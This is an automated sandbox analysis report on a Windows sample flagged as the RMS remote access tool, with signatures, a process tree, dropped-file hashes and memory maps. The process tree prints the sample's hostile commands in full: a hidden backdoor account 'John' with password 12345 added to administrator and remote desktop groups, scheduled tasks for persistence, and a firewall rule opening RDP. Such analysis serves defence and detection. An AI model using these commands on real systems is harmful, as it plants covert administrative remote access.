Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20230220-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20230220-enlocale:en-usos:windows10-2004-x64system
  • submitted
    31-05-2023 09:41

General

  • Target

    a8fffe1256732a78425b3c4b81c00c78.exe

  • Size

    6.1MB

  • MD5

    a8fffe1256732a78425b3c4b81c00c78

  • SHA1

    d10eb0b29b6f0f0092cda88bb03ac91e42ecf25e

  • SHA256

    97ff84a22b9ae106c9c6d6893575360411773f084d600ae3ae21bec7b26a4c66

  • SHA512

    ca458076bd9629a7faf7cfc60dd99a13f036cff48f998061d10d2ab3f8943c3c6437e1cf99841c4ae164bf40d94fa9496831daf4930863d0a3e2a96fad9b484f

  • SSDEEP

    196608:TIlF6JaxBEvXUJyXEJDNfZJoExr77dZWoNMUyr:EcYxBYXY+sJokFZWdUy

Malware Config

Signatures

  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

  • Grants admin privileges 1 TTPs

    Uses net.exe to modify the user's privileges.

  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets DLL path for service in the registry 2 TTPs 1 IoCs
  • Checks computer location settings 2 TTPs 4 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 5 IoCs
  • Loads dropped DLL 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Modifies WinLogon 2 TTPs 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Program Files directory 5 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Creates scheduled task(s) 1 TTPs 2 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Delays execution with timeout.exe 1 IoCs
  • Modifies registry class 3 IoCs
  • NTFS ADS 1 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 16 IoCs
  • Suspicious use of WriteProcessMemory 58 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\a8fffe1256732a78425b3c4b81c00c78.exe
    "C:\Users\Admin\AppData\Local\Temp\a8fffe1256732a78425b3c4b81c00c78.exe"
    1⤵
    • Checks computer location settings
    • Drops file in Program Files directory
    • Checks processor information in registry
    • Modifies registry class
    • NTFS ADS
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:4312
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winsers" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC MINUTE /MO 1 /RL HIGHEST
      2⤵
      • Creates scheduled task(s)
      PID:1032
    • C:\Windows\System32\schtasks.exe
      "C:\Windows\System32\schtasks.exe" /create /TN "Microsoft\Windows\Wininet\winser" /TR "\"C:\ProgramData\Windows Tasks Service\winserv.exe\" Task Service\winserv.exe" /SC ONLOGON /RL HIGHEST
      2⤵
      • Creates scheduled task(s)
      PID:2100
    • C:\ProgramData\Windows Tasks Service\winserv.exe
      "C:\ProgramData\Windows Tasks Service\winserv.exe"
      2⤵
      • Checks computer location settings
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      PID:3752
      • C:\ProgramData\Windows Tasks Service\winserv.exe
        "C:\ProgramData\Windows Tasks Service\winserv.exe" -second
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of SetWindowsHookEx
        PID:904
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c net user John 12345 /add
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:224
      • C:\Windows\system32\net.exe
        net user John 12345 /add
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:3488
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 user John 12345 /add
          4⤵
            PID:2108
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c net localgroup "Администраторы" John /add
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2236
        • C:\Windows\system32\net.exe
          net localgroup "Администраторы" John /add
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4732
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 localgroup "Администраторы" John /add
            4⤵
              PID:2420
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного рабочего стола" John /add
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:3480
          • C:\Windows\system32\net.exe
            net localgroup "Пользователи удаленного рабочего стола" John /add
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:3360
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 localgroup "Пользователи удаленного рабочего стола" John /add
              4⤵
                PID:2132
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c net localgroup "Пользователи удаленного управления" john /add" John /add
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:5104
            • C:\Windows\system32\net.exe
              net localgroup "Пользователи удаленного управления" john /add" John /add
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:2836
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 localgroup "Пользователи удаленного управления" john /add" John /add
                4⤵
                  PID:2524
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c net localgroup "Administrators" John /add
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:4724
              • C:\Windows\system32\net.exe
                net localgroup "Administrators" John /add
                3⤵
                • Suspicious use of WriteProcessMemory
                PID:844
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 localgroup "Administrators" John /add
                  4⤵
                    PID:4064
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c net localgroup "Administradores" John /add
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3692
                • C:\Windows\system32\net.exe
                  net localgroup "Administradores" John /add
                  3⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4820
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 localgroup "Administradores" John /add
                    4⤵
                      PID:2072
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" john /add
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:4288
                  • C:\Windows\system32\net.exe
                    net localgroup "Remote Desktop Users" john /add
                    3⤵
                    • Suspicious use of WriteProcessMemory
                    PID:688
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 localgroup "Remote Desktop Users" john /add
                      4⤵
                        PID:4280
                  • C:\ProgramData\RDPWinst.exe
                    C:\ProgramData\RDPWinst.exe -i
                    2⤵
                    • Sets DLL path for service in the registry
                    • Executes dropped EXE
                    • Modifies WinLogon
                    • Drops file in System32 directory
                    • Drops file in Program Files directory
                    • Suspicious use of AdjustPrivilegeToken
                    • Suspicious use of WriteProcessMemory
                    PID:1120
                    • C:\Windows\SYSTEM32\netsh.exe
                      netsh advfirewall firewall add rule name="Remote Desktop" dir=in protocol=tcp localport=3389 profile=any action=allow
                      3⤵
                      • Modifies Windows Firewall
                      PID:3256
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c C:\Programdata\Install\del.bat
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:4408
                    • C:\Windows\system32\timeout.exe
                      timeout 5
                      3⤵
                      • Delays execution with timeout.exe
                      PID:1596
                • C:\Windows\System32\svchost.exe
                  C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                  1⤵
                    PID:3820
                  • C:\Windows\System32\svchost.exe
                    C:\Windows\System32\svchost.exe -k NetworkService -s TermService
                    1⤵
                    • Loads dropped DLL
                    • Drops file in Program Files directory
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4484
                  • C:\ProgramData\Windows Tasks Service\winserv.exe
                    "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
                    1⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • Suspicious use of SetWindowsHookEx
                    PID:1728
                  • C:\ProgramData\Windows Tasks Service\winserv.exe
                    "C:\ProgramData\Windows Tasks Service\winserv.exe" Task Service\winserv.exe
                    1⤵
                    • Checks computer location settings
                    • Executes dropped EXE
                    • Suspicious use of SetWindowsHookEx
                    PID:1324

                  Network

                  MITRE ATT&CK Enterprise v6

                  Replay Monitor

                  Loading Replay Monitor...

                  Downloads

                  • C:\Program Files\RDP Wrapper\rdpwrap.dll

                    Filesize

                    114KB

                    MD5

                    461ade40b800ae80a40985594e1ac236

                    SHA1

                    b3892eef846c044a2b0785d54a432b3e93a968c8

                    SHA256

                    798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4

                    SHA512

                    421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26

                  • C:\ProgramData\RDPWinst.exe

                    Filesize

                    1.4MB

                    MD5

                    3288c284561055044c489567fd630ac2

                    SHA1

                    11ffeabbe42159e1365aa82463d8690c845ce7b7

                    SHA256

                    ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753

                    SHA512

                    c25b28a340a23a9fa932aa95075f85fdd61880f29ef96f5179097b652f69434e0f1f8825e2648b2a0de1f4b0f9b8373080a22117974fcdf44112906d330fca02

                  • C:\ProgramData\RDPWinst.exe

                    Filesize

                    1.4MB

                    MD5

                    3288c284561055044c489567fd630ac2

                    SHA1

                    11ffeabbe42159e1365aa82463d8690c845ce7b7

                    SHA256

                    ac92d4c6397eb4451095949ac485ef4ec38501d7bb6f475419529ae67e297753

                    SHA512

                    c25b28a340a23a9fa932aa95075f85fdd61880f29ef96f5179097b652f69434e0f1f8825e2648b2a0de1f4b0f9b8373080a22117974fcdf44112906d330fca02

                  • C:\ProgramData\Windows Tasks Service\settings.dat

                    Filesize

                    2KB

                    MD5

                    d7c429c3e48b1edb695c9b661154d32e

                    SHA1

                    e1397f226ebdd7f39fe800b4161066b4941e79b0

                    SHA256

                    9a5e1ea29b6c7d101d133f9e5951d42af3c14c2222ec8883601040ff37fc4bd3

                    SHA512

                    abb0c8207a19c81463d95f795e0795b63848f3eb8038f1ae3f1a0d3b9854694ffa11febe64f62d1de6d23ea60df18b92a974148e97411287b2d9c0fc5a79d225

                  • C:\ProgramData\Windows Tasks Service\winserv.exe

                    Filesize

                    10.2MB

                    MD5

                    3f4f5a6cb95047fea6102bd7d2226aa9

                    SHA1

                    fc09dd898b6e7ff546e4a7517a715928fbafc297

                    SHA256

                    99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                    SHA512

                    de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                  • C:\ProgramData\Windows Tasks Service\winserv.exe

                    Filesize

                    10.2MB

                    MD5

                    3f4f5a6cb95047fea6102bd7d2226aa9

                    SHA1

                    fc09dd898b6e7ff546e4a7517a715928fbafc297

                    SHA256

                    99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                    SHA512

                    de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                  • C:\ProgramData\Windows Tasks Service\winserv.exe

                    Filesize

                    10.2MB

                    MD5

                    3f4f5a6cb95047fea6102bd7d2226aa9

                    SHA1

                    fc09dd898b6e7ff546e4a7517a715928fbafc297

                    SHA256

                    99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                    SHA512

                    de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                  • C:\ProgramData\Windows Tasks Service\winserv.exe

                    Filesize

                    10.2MB

                    MD5

                    3f4f5a6cb95047fea6102bd7d2226aa9

                    SHA1

                    fc09dd898b6e7ff546e4a7517a715928fbafc297

                    SHA256

                    99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                    SHA512

                    de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                  • C:\ProgramData\Windows Tasks Service\winserv.exe

                    Filesize

                    10.2MB

                    MD5

                    3f4f5a6cb95047fea6102bd7d2226aa9

                    SHA1

                    fc09dd898b6e7ff546e4a7517a715928fbafc297

                    SHA256

                    99fd9e75e6241eff30e01c5b59df9e901fb24d12bee89c069cc6158f78b3cc98

                    SHA512

                    de5c8155f426a4e55953ae85410c7d9ad84f5643c30865fc036d1270310e28754772bd0f3093444a16ef0c1fa3db6c56301746fb5e7f03ce692bfdad0c4fb688

                  • C:\Programdata\Install\del.bat

                    Filesize

                    266B

                    MD5

                    791020907cde8b02f696743cabce77e1

                    SHA1

                    992ed3ca518d1aa4f45d616544338aab66a28e8b

                    SHA256

                    fbed13c7fe917d3d98b5a4cfe76a3d56fd4ed2a2bb70e09fd9b23b04dfc04cd6

                    SHA512

                    0fb06e2003873c23821fca8b10a68e51e141c816d7b9922f66164ee5d32cee8b24350befc79e725afcb044f79296fcb5d68c11ee0d209fb4b29dbb7c8a47eafb

                  • \??\c:\program files\rdp wrapper\rdpwrap.dll

                    Filesize

                    114KB

                    MD5

                    461ade40b800ae80a40985594e1ac236

                    SHA1

                    b3892eef846c044a2b0785d54a432b3e93a968c8

                    SHA256

                    798af20db39280f90a1d35f2ac2c1d62124d1f5218a2a0fa29d87a13340bd3e4

                    SHA512

                    421f9060c4b61fa6f4074508602a2639209032fd5df5bfc702a159e3bad5479684ccb3f6e02f3e38fb8db53839cf3f41fe58a3acad6ec1199a48dc333b2d8a26

                  • memory/904-161-0x0000000005A20000-0x0000000005A21000-memory.dmp

                    Filesize

                    4KB

                  • memory/904-150-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/904-159-0x0000000005630000-0x0000000005631000-memory.dmp

                    Filesize

                    4KB

                  • memory/904-158-0x00000000054E0000-0x00000000054E1000-memory.dmp

                    Filesize

                    4KB

                  • memory/904-155-0x0000000004FC0000-0x0000000004FC1000-memory.dmp

                    Filesize

                    4KB

                  • memory/904-160-0x0000000005780000-0x0000000005781000-memory.dmp

                    Filesize

                    4KB

                  • memory/904-162-0x0000000005B70000-0x0000000005B71000-memory.dmp

                    Filesize

                    4KB

                  • memory/904-157-0x0000000004FA0000-0x0000000004FA1000-memory.dmp

                    Filesize

                    4KB

                  • memory/904-171-0x0000000005D10000-0x0000000005D11000-memory.dmp

                    Filesize

                    4KB

                  • memory/904-172-0x0000000005D20000-0x0000000005D21000-memory.dmp

                    Filesize

                    4KB

                  • memory/904-153-0x0000000004930000-0x0000000004931000-memory.dmp

                    Filesize

                    4KB

                  • memory/904-154-0x00000000047F0000-0x00000000047F1000-memory.dmp

                    Filesize

                    4KB

                  • memory/904-152-0x00000000047E0000-0x00000000047E1000-memory.dmp

                    Filesize

                    4KB

                  • memory/904-156-0x0000000005110000-0x0000000005111000-memory.dmp

                    Filesize

                    4KB

                  • memory/904-198-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/904-185-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/904-187-0x00000000045B0000-0x00000000045B1000-memory.dmp

                    Filesize

                    4KB

                  • memory/904-188-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/904-149-0x00000000045B0000-0x00000000045B1000-memory.dmp

                    Filesize

                    4KB

                  • memory/1120-184-0x0000000000400000-0x000000000056F000-memory.dmp

                    Filesize

                    1.4MB

                  • memory/1324-213-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/1324-215-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/1728-200-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/1728-202-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/3752-148-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB

                  • memory/3752-145-0x0000000003190000-0x0000000003191000-memory.dmp

                    Filesize

                    4KB

                  • memory/3752-146-0x0000000004760000-0x0000000004761000-memory.dmp

                    Filesize

                    4KB

                  • memory/3752-144-0x0000000000400000-0x0000000000E31000-memory.dmp

                    Filesize

                    10.2MB